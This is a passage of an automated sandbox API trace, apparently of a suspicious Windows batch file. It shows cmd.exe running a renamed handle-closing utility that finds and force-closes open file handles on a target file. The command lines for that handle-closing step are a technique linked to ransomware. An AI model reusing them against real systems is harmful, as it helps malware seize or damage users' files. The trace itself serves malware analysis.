lpNumberOfCharsWritten=0x28ede4, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x28ede4*=0x26) returned 1 [0128.812] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%.3s", _ArgList=0x28f074 | out: _Buffer="FOR") returned 3 [0128.812] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.812] GetFileType (hFile=0x7) returned 0x2 [0128.812] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0128.812] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f034 | out: lpMode=0x28f034) returned 1 [0128.812] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.812] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x28f060, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x28f060*=0x3) returned 1 [0128.813] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s", _ArgList=0x28f074 | out: _Buffer=" /F") returned 3 [0128.813] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.813] GetFileType (hFile=0x7) returned 0x2 [0128.813] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0128.813] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f034 | out: lpMode=0x28f034) returned 1 [0128.813] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.813] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x28f060, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x28f060*=0x3) returned 1 [0128.813] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s", _ArgList=0x28f074 | out: _Buffer=" \"UseBackQ Tokens=3,6 delims=: \"") returned 32 [0128.814] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.814] GetFileType (hFile=0x7) returned 0x2 [0128.814] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0128.814] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f034 | out: lpMode=0x28f034) returned 1 [0128.814] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.814] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x20, lpNumberOfCharsWritten=0x28f060, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x28f060*=0x20) returned 1 [0128.837] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s ", _ArgList=0x28f074 | out: _Buffer=" %I IN ") returned 7 [0128.837] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.837] GetFileType (hFile=0x7) returned 0x2 [0128.837] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0128.837] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f034 | out: lpMode=0x28f034) returned 1 [0128.837] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.838] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x28f060, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x28f060*=0x7) returned 1 [0128.839] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="(%s) %s ", _ArgList=0x28f070 | out: _Buffer="(`bv6ncK8c.exe -accepteula \"Genko_2.jtp\" -nobanner`) DO ") returned 56 [0128.839] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.839] GetFileType (hFile=0x7) returned 0x2 [0128.839] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0128.839] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f030 | out: lpMode=0x28f030) returned 1 [0128.840] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.840] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x38, lpNumberOfCharsWritten=0x28f05c, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x28f05c*=0x38) returned 1 [0128.840] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.840] GetFileType (hFile=0x7) returned 0x2 [0128.840] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0128.840] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f03c | out: lpMode=0x28f03c) returned 1 [0128.841] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.841] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab3bd04*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x28f068, lpReserved=0x0 | out: lpBuffer=0x4ab3bd04*, lpNumberOfCharsWritten=0x28f068*=0x1) returned 1 [0128.841] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.841] GetFileType (hFile=0x7) returned 0x2 [0128.841] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0128.841] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f020 | out: lpMode=0x28f020) returned 1 [0128.842] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.842] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x57f4e8*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0x28f04c, lpReserved=0x0 | out: lpBuffer=0x57f4e8*, lpNumberOfCharsWritten=0x28f04c*=0xc) returned 1 [0128.842] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x28f058 | out: _Buffer=" -accepteula -c %J -y -p %I -nobanner ") returned 38 [0128.842] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.842] GetFileType (hFile=0x7) returned 0x2 [0128.842] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0128.842] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f018 | out: lpMode=0x28f018) returned 1 [0128.843] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.843] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x28f044, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x28f044*=0x26) returned 1 [0128.844] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x28f074 | out: _Buffer=") ") returned 2 [0128.844] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.844] GetFileType (hFile=0x7) returned 0x2 [0128.844] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0128.844] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f034 | out: lpMode=0x28f034) returned 1 [0128.845] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.845] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x28f060, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x28f060*=0x2) returned 1 [0128.845] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x28f094 | out: _Buffer="\r\n") returned 2 [0128.845] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.845] GetFileType (hFile=0x7) returned 0x2 [0128.845] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0128.845] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f054 | out: lpMode=0x28f054) returned 1 [0128.846] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.846] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x28f080, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x28f080*=0x2) returned 1 [0128.847] GetProcessHeap () returned 0x570000 [0128.847] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2c) returned 0x5855e8 [0128.847] GetProcessHeap () returned 0x570000 [0128.847] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xc) returned 0x570db8 [0128.847] GetProcessHeap () returned 0x570000 [0128.847] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xc) returned 0x570dd0 [0128.847] GetProcessHeap () returned 0x570000 [0128.847] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xe) returned 0x570de8 [0128.847] _wcsnicmp (_String1="UseBackQ", _String2="usebackq", _MaxCount=0x8) returned 0 [0128.847] _wcsnicmp (_String1="Tokens=3", _String2="usebackq", _MaxCount=0x8) returned -1 [0128.847] _wcsnicmp (_String1="Tokens=", _String2="useback", _MaxCount=0x7) returned -1 [0128.847] _wcsnicmp (_String1="Toke", _String2="eol=", _MaxCount=0x4) returned 15 [0128.847] _wcsnicmp (_String1="Tokens=", _String2="delims=", _MaxCount=0x7) returned 16 [0128.847] _wcsnicmp (_String1="Token", _String2="skip=", _MaxCount=0x5) returned 1 [0128.847] _wcsnicmp (_String1="Tokens=", _String2="tokens=", _MaxCount=0x7) returned 0 [0128.847] wcstol (in: _String="3,6 delims=: \"", _EndPtr=0x28efb0, _Radix=0 | out: _EndPtr=0x28efb0*=",6 delims=: \"") returned 3 [0128.847] wcstol (in: _String="6 delims=: \"", _EndPtr=0x28efb0, _Radix=0 | out: _EndPtr=0x28efb0*=" delims=: \"") returned 6 [0128.848] _wcsnicmp (_String1="delims=:", _String2="usebackq", _MaxCount=0x8) returned -17 [0128.848] _wcsnicmp (_String1="delims=", _String2="useback", _MaxCount=0x7) returned -17 [0128.848] _wcsnicmp (_String1="deli", _String2="eol=", _MaxCount=0x4) returned -1 [0128.848] _wcsnicmp (_String1="delims=", _String2="delims=", _MaxCount=0x7) returned 0 [0128.848] GetProcessHeap () returned 0x570000 [0128.848] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x570de8 | out: hHeap=0x570000) returned 1 [0128.848] GetProcessHeap () returned 0x570000 [0128.848] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xe) returned 0x570de8 [0128.848] GetProcessHeap () returned 0x570000 [0128.848] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x570db8, Size=0xe) returned 0x570e00 [0128.848] GetProcessHeap () returned 0x570000 [0128.848] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x570e00) returned 0xe [0128.848] GetProcessHeap () returned 0x570000 [0128.848] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x570dd0, Size=0x14) returned 0x5863c0 [0128.848] GetProcessHeap () returned 0x570000 [0128.848] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x5863c0) returned 0x14 [0128.848] _wpopen (_Command="bv6ncK8c.exe -accepteula \"Genko_2.jtp\" -nobanner", _Mode="rb") returned 0x76be2960 [0128.862] feof (_File=0x76be2960) returned 0 [0128.862] ferror (_File=0x76be2960) returned 0 [0128.862] GetProcessHeap () returned 0x570000 [0128.862] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x108) returned 0x5863e0 [0128.862] fgets (in: _Buf=0x5863e8, _MaxCount=256, _File=0x76be2960 | out: _Buf="No matching handles found.\r\r\n", _File=0x76be2960) returned="No matching handles found.\r\r\n" [0133.666] feof (_File=0x76be2960) returned 0 [0133.666] ferror (_File=0x76be2960) returned 0 [0133.666] GetProcessHeap () returned 0x570000 [0133.666] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5863e0, Size=0x208) returned 0x5863e0 [0133.667] GetProcessHeap () returned 0x570000 [0133.667] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x5863e0) returned 0x208 [0133.667] fgets (in: _Buf=0x586405, _MaxCount=483, _File=0x76be2960 | out: _Buf="", _File=0x76be2960) returned 0x0 [0133.890] _pclose (in: _File=0x76be2960 | out: _File=0x76be2960) returned 0 [0133.893] GetProcessHeap () returned 0x570000 [0133.893] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5863e0, Size=0x46) returned 0x5863e0 [0133.893] GetProcessHeap () returned 0x570000 [0133.893] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x5863e0) returned 0x46 [0133.893] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x586405, cbMultiByte=29, lpWideCharStr=0x5863e8, cchWideChar=29 | out: lpWideCharStr="No matching handles found.\r\r\n") returned 29 [0133.893] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x400a) returned 0x594ab0 [0133.893] GetProcessHeap () returned 0x570000 [0133.893] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x594ab0, Size=0x3c) returned 0x594ab0 [0133.893] GetProcessHeap () returned 0x570000 [0133.893] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x594ab0) returned 0x3c [0133.893] GetProcessHeap () returned 0x570000 [0133.893] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x400a) returned 0x594af8 [0133.894] GetProcessHeap () returned 0x570000 [0133.894] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x594af8, Size=0xac) returned 0x594af8 [0133.894] GetProcessHeap () returned 0x570000 [0133.894] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x594af8) returned 0xac [0133.894] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x28eca4 | out: _Buffer="\r\n") returned 2 [0133.894] _get_osfhandle (_FileHandle=1) returned 0x7 [0133.894] GetFileType (hFile=0x7) returned 0x2 [0133.895] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0133.895] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28ec64 | out: lpMode=0x28ec64) returned 1 [0133.895] _get_osfhandle (_FileHandle=1) returned 0x7 [0133.895] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x28ec90, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x28ec90*=0x2) returned 1 [0133.900] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0133.900] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x28eca0 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0133.900] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x28eca0 | out: _Buffer=">") returned 1 [0133.900] _get_osfhandle (_FileHandle=1) returned 0x7 [0133.900] GetFileType (hFile=0x7) returned 0x2 [0133.900] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0133.900] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28ec68 | out: lpMode=0x28ec68) returned 1 [0133.901] _get_osfhandle (_FileHandle=1) returned 0x7 [0133.901] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x28ec94, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x28ec94*=0x26) returned 1 [0133.901] _get_osfhandle (_FileHandle=1) returned 0x7 [0133.901] GetFileType (hFile=0x7) returned 0x2 [0133.901] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0133.901] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28eeec | out: lpMode=0x28eeec) returned 1 [0133.902] _get_osfhandle (_FileHandle=1) returned 0x7 [0133.902] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab3bd04*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x28ef18, lpReserved=0x0 | out: lpBuffer=0x4ab3bd04*, lpNumberOfCharsWritten=0x28ef18*=0x1) returned 1 [0133.902] _get_osfhandle (_FileHandle=1) returned 0x7 [0133.902] GetFileType (hFile=0x7) returned 0x2 [0133.902] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0133.902] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28eed0 | out: lpMode=0x28eed0) returned 1 [0133.903] _get_osfhandle (_FileHandle=1) returned 0x7 [0133.903] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x594ab8*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0x28eefc, lpReserved=0x0 | out: lpBuffer=0x594ab8*, lpNumberOfCharsWritten=0x28eefc*=0xc) returned 1 [0133.903] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x28ef08 | out: _Buffer=" -accepteula -c -y -p handles -nobanner ") returned 41 [0133.903] _get_osfhandle (_FileHandle=1) returned 0x7 [0133.903] GetFileType (hFile=0x7) returned 0x2 [0133.903] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0133.903] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28eec8 | out: lpMode=0x28eec8) returned 1 [0133.904] _get_osfhandle (_FileHandle=1) returned 0x7 [0133.904] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x29, lpNumberOfCharsWritten=0x28eef4, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x28eef4*=0x29) returned 1 [0133.905] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x28ef24 | out: _Buffer=") ") returned 2 [0133.905] _get_osfhandle (_FileHandle=1) returned 0x7 [0133.905] GetFileType (hFile=0x7) returned 0x2 [0133.905] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0133.905] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28eee4 | out: lpMode=0x28eee4) returned 1 [0133.906] _get_osfhandle (_FileHandle=1) returned 0x7 [0133.906] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x28ef10, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x28ef10*=0x2) returned 1 [0133.906] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x28ef44 | out: _Buffer="\r\n") returned 2 [0133.906] _get_osfhandle (_FileHandle=1) returned 0x7 [0133.906] GetFileType (hFile=0x7) returned 0x2 [0133.906] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0133.906] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28ef04 | out: lpMode=0x28ef04) returned 1 [0133.907] _get_osfhandle (_FileHandle=1) returned 0x7 [0133.907] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x28ef30, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x28ef30*=0x2) returned 1 [0133.908] GetConsoleTitleW (in: lpConsoleTitle=0x28ea54, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0133.910] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x586650, lpFilePart=0x28e574 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x28e574*="Desktop") returned 0x25 [0133.910] SetErrorMode (uMode=0x0) returned 0x1 [0133.910] GetProcessHeap () returned 0x570000 [0133.910] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x586648, Size=0x6e) returned 0x586648 [0133.910] GetProcessHeap () returned 0x570000 [0133.910] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x586648) returned 0x6e [0133.910] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0133.910] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0133.910] GetProcessHeap () returned 0x570000 [0133.910] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x120) returned 0x5866c0 [0133.910] GetProcessHeap () returned 0x570000 [0133.910] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x238) returned 0x5867e8 [0133.911] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0133.911] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", fInfoLevelId=0x1, lpFindFileData=0x28e310, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28e310) returned 0x586998 [0133.912] FindClose (in: hFindFile=0x586998 | out: hFindFile=0x586998) returned 1 [0133.912] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0133.912] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0133.912] GetConsoleTitleW (in: lpConsoleTitle=0x28e7e8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0133.912] InitializeProcThreadAttributeList (in: lpAttributeList=0x28e670, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x28e738 | out: lpAttributeList=0x28e670, lpSize=0x28e738) returned 1 [0133.912] UpdateProcThreadAttribute (in: lpAttributeList=0x28e670, dwFlags=0x0, Attribute=0x60001, lpValue=0x28e730, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x28e670, lpPreviousValue=0x0) returned 1 [0133.912] GetStartupInfoW (in: lpStartupInfo=0x28e62c | out: lpStartupInfo=0x28e62c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0133.912] lstrcmpW (lpString1="\\bv6ncK8c.exe", lpString2="\\XCOPY.EXE") returned -1 [0133.912] CreateProcessW (in: lpApplicationName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", lpCommandLine="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x28e6cc*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x28e718 | out: lpCommandLine="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", lpProcessInformation=0x28e718*(hProcess=0x74, hThread=0x84, dwProcessId=0xc5c, dwThreadId=0xc88)) returned 1 [0133.923] CloseHandle (hObject=0x84) returned 1 [0133.923] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0133.923] GetProcessHeap () returned 0x570000 [0133.923] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589648 | out: hHeap=0x570000) returned 1 [0133.923] GetEnvironmentStringsW () returned 0x588ac0* [0133.923] GetProcessHeap () returned 0x570000 [0133.923] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb7e) returned 0x589648 [0133.923] FreeEnvironmentStringsW (penv=0x588ac0) returned 1 [0133.923] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0134.581] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x28e60c | out: lpExitCode=0x28e60c*=0x1) returned 1 [0134.581] CloseHandle (hObject=0x74) returned 1 [0134.581] _vsnwprintf (in: _Buffer=0x28e754, _BufferCount=0x13, _Format="%08X", _ArgList=0x28e618 | out: _Buffer="00000001") returned 8 [0134.581] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000001") returned 1 [0134.582] GetProcessHeap () returned 0x570000 [0134.582] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589648 | out: hHeap=0x570000) returned 1 [0134.582] GetEnvironmentStringsW () returned 0x588ac0* [0134.582] GetProcessHeap () returned 0x570000 [0134.582] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb7e) returned 0x589648 [0134.582] FreeEnvironmentStringsW (penv=0x588ac0) returned 1 [0134.582] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0134.582] GetProcessHeap () returned 0x570000 [0134.582] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589648 | out: hHeap=0x570000) returned 1 [0134.582] GetEnvironmentStringsW () returned 0x588ac0* [0134.582] GetProcessHeap () returned 0x570000 [0134.582] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb7e) returned 0x589648 [0134.582] FreeEnvironmentStringsW (penv=0x588ac0) returned 1 [0134.582] GetProcessHeap () returned 0x570000 [0134.582] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x570dd0 | out: hHeap=0x570000) returned 1 [0134.582] DeleteProcThreadAttributeList (in: lpAttributeList=0x28e670 | out: lpAttributeList=0x28e670) [0134.582] GetProcessHeap () returned 0x570000 [0134.582] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5863e0 | out: hHeap=0x570000) returned 1 [0134.582] _get_osfhandle (_FileHandle=1) returned 0x7 [0134.582] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0134.582] _get_osfhandle (_FileHandle=1) returned 0x7 [0134.583] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0134.583] _get_osfhandle (_FileHandle=0) returned 0x3 [0134.583] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0134.583] SetConsoleInputExeNameW () returned 0x1 [0134.583] GetConsoleOutputCP () returned 0x1b5 [0134.583] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0134.583] SetThreadUILanguage (LangId=0x0) returned 0x409 [0134.584] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x28f03c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0134.584] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0134.585] _get_osfhandle (_FileHandle=3) returned 0x74 [0134.585] SetFilePointer (in: hFile=0x74, lDistanceToMove=226, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0134.585] GetProcessHeap () returned 0x570000 [0134.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586918 | out: hHeap=0x570000) returned 1 [0134.585] GetProcessHeap () returned 0x570000 [0134.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5867e8 | out: hHeap=0x570000) returned 1 [0134.585] GetProcessHeap () returned 0x570000 [0134.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5866c0 | out: hHeap=0x570000) returned 1 [0134.585] GetProcessHeap () returned 0x570000 [0134.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586648 | out: hHeap=0x570000) returned 1 [0134.585] GetProcessHeap () returned 0x570000 [0134.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x580fe8 | out: hHeap=0x570000) returned 1 [0134.585] GetProcessHeap () returned 0x570000 [0134.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586430 | out: hHeap=0x570000) returned 1 [0134.585] GetProcessHeap () returned 0x570000 [0134.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x594af8 | out: hHeap=0x570000) returned 1 [0134.585] GetProcessHeap () returned 0x570000 [0134.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x594ab0 | out: hHeap=0x570000) returned 1 [0134.585] GetProcessHeap () returned 0x570000 [0134.585] HeapFree 